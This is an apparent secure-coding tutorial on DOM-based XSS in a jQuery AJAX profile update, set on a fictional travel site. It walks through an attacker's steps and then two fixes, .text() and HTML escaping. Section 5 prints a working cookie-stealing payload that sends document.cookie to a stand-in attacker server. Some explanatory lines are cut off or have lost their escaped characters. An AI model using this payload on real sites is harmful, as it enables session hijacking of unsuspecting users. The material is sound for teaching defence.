8. Front End Security Basics: DOM XSS in AJAX
1. VULNERABILITY INTRODUCED
DOM Based XSS is a cross-site scripting attack where the original client-side script executes the malicious payload as a result of modifying the DOM environment in the victim’s browser so that the client side code runs in an unexpected manner. The Web page itself does not change, and the data flow never leaves the browser, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
Also, an XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.
2. EXERCISE BACKGROUND
The vulnerable application pane loads the GuruTravel.me website, where the users share their experience, feedback, and photos of places where they have traveled recently.
Bob is a malicious user of this website. When he was editing his account, he found out that when he edits the “Bio” section of the user profile, it is updated instantly, without the complete profile page being reloaded in the browser.
3. VULNERABLE CODE
Let’s study the corresponding code sample, the element-rendering part of it.
In this code sample,
getJSON() method in jQuery script requests the profile information for the user with a certain username, formatted as a JSON.
bio variable is assigned a value from the
bio name/value pair of the JSON.
.html() method renders the content of the
bio variable as HTML.
4. VULNERABILITY DETECTED
Bob decides to test this page for the DOM XSS vulnerability.
<script>alert(‘This website is vulnerable!’)</script>
When Bob saves the updated “Bio”, the malicious script is executed by the client-side code, and the alert is displayed. (The script is usually not visible on the page, because the browser treats it as code and doesn’t display it to the user, but here we left it visible for the purpose of clarity.)
If Bob now shares the link to his profile with other users of GuruTravel.me website, for example, with Alice, then the same script will be executed in Alice’s browser after he opens his profile page.
With this DOM XSS vulnerability, Bob can use the script that will steal Alice’s session token (in case the HttpOnly flag is not included in the HTTP response header), or impersonate her in making a purchase, or post some content on her behalf (and Alice would have no way of proving that she did not perform the certain action).
5. MALICIOUS PAYLOAD CREATED
To get prepared to the attack, Bob opens server log on his server, and saves the following script in the “Bio” section of his profile page on the GuruTravel.me website:
<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=” + document.cookie + “‘ /> “);</script>
6. SUCCESSFUL ATTACK
Bob sends a request to Alice, asking her permission to view details on her recent trip to Madagascar:
I noticed that you’ve just returned from the trip to Madagascar and posted feedback about it for your friends. I’m going to visit Madagascar soon, and I’d like to have access to the details of your trip to make my own travelling experience better.
Alice doesn’t have Bob in her friends list, so she clicks the link to his profile to learn more about him.
7. VULNERABILITY FIXED
Let’s see how the vulnerable code could be modified to prevent this attack.
getJSON() method in jQuery script still requests a JSON with the profile information for the certain user.
But then we decided to choose a different approach. When dynamically updating the page with some asynchronously loaded content, a better solution is to separate HTML from the input and use
.text() instead of
8. ALTERNATIV FIX
Also, a universal solution can be introduced, and it involves creating a sanitizer for all malicious characters.
For this purpose, developers can enable client-side context-sensitive output escaping because it provides a good level of protection. When the data is correctly escaped before being served to the user for display in their browser, the browser does not interpret it as code and instead interprets it as data, thus ensuring it does not get executed.
For example, the string: <script> is converted to <script> when properly escaped and is simply rendered as text in the user’s browser window rather than being interpreted as code.
HtmlEncode function definition specifies mapping for special characters (that can be used in the creation of malicious payload).
Being applied to the JSON parameter value, it will automatically escape and encode HTML characters within the rendered HTML (including